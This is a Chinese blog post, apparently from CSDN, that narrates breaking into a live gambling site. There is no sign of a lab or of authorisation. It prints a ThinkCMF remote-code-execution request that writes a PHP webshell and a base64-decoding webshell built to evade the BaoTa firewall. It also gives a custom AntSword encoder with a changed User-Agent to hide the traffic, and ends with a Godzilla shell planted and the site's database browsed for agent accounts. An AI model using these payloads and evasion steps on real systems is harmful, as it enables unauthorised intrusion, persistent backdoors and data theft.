实战|记一次绕过宝塔防火墙的BC站渗透

0x00 信息收集

由于主站存在云waf 一测就封 且初步测试不存在能用得上的洞 所以转战分站 希望能通过分站获得有价值的信息

这是一个查询代理帐号的站 url输入admin 自动跳转至后台

图片

看这个参数,猜测可能是thinkCMF

0x01 getshell

thinkcmf正好有一个RCE 可以尝试一下

?a=fetch&templateFile=public/index&prefix=''
&content=<php>file_put_contents('test1.php','<?php @eval($_POST[zero])?>')</php>

图片

白屏是个好兆头 应该是成功了
访问一下

尝试蚁剑连接 直接报错 猜测可能遇到防火墙了

图片

然后再回来看一下shell 手动尝试一个phpinfo

图片

果然存在宝塔防火墙

0x02 绕过宝塔防火墙

宝塔应该对部分函数进行了过滤,所以直接传递payload肯定是不行的,所以我们需要对流量进行混淆加密。

尝试对所有的payload Base64编码传输。

既然传过去的是编码后的Base64,小马也应该相应地做出改变,只需解密一次传递过来的base64即可。

小马如下:

<?php @eval(base64_decode($_POST[zero]));?>

将phpinfo();base64编码为cGhwaW5mbygpOw==

发送

图片

可见 宝塔防火墙没再拦截 已经成功绕过宝塔防火墙

0x03 改造蚁剑

我们用到的是Base64编码,但是蚁剑其实是自带Base64编码解码器的 。

尝试直接使用自带的Base64编码器

图片

为什么会这样呢?

我们尝试从蚁剑的流量分析

设置代理到burp

图片

拦截流量

图片

我们可以看到 明显有两个地方容易被waf识别

一是: User-Agent头的关键字: antSword/v2.1 这相当于告诉waf我是谁了,所以这是第一个要更改的点;

二是: 蚁剑的流量其实还是有关键字的,比如cmd参数后的eval base64_decode都是,而且我们的小马自带Base64解密,所以用它的默认编辑器不仅过不去waf,即使没waf也不能正常连接我们的小马,所以需要自己定义编码器。

新建PHP编码器

图片

由于我们只需要将payloadBase64编码一次即可,所以直接将data['_']Base64处理赋值即可,随机参数有没有无所谓的。

编码器如下:

'user strict';
/*
 * @param {String} pwd  连接密码
 * @param {Array} data 编码器处理前的payload数组
 * @return {Array} data 编码器处理后的payload数组
*/
module.exports = (pwd, data, ext={}) => {
    data[pwd] = Buffer.from(data['_']).toString('base64');
    delete data['_'];
    return data;
}

然后修改UA头:

图片

应用我们的编码器,解码器不需要指定,默认即可

建议选择,再增加垃圾数据和Multipart发包。

图片

再次测试连接

图片

图片

然后点击目录,发现依然存在问题,不能跨目录,这个问题其实哥斯拉可以解决,上传哥斯拉马。

这里可能有人会问了,那你直接上传哥斯拉马不就行了吗,实际情况是 get传参有长度限制 而且有的符号会导致截断php文件无法上传完整。

图片

网站有挺多 但是很可惜没有主站 数据库里只有一堆代理帐号 浪费时间了

图片

  • 9
    点赞
  • 42
    收藏
    觉得还不错? 一键收藏
  • 11
    评论
评论 11
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值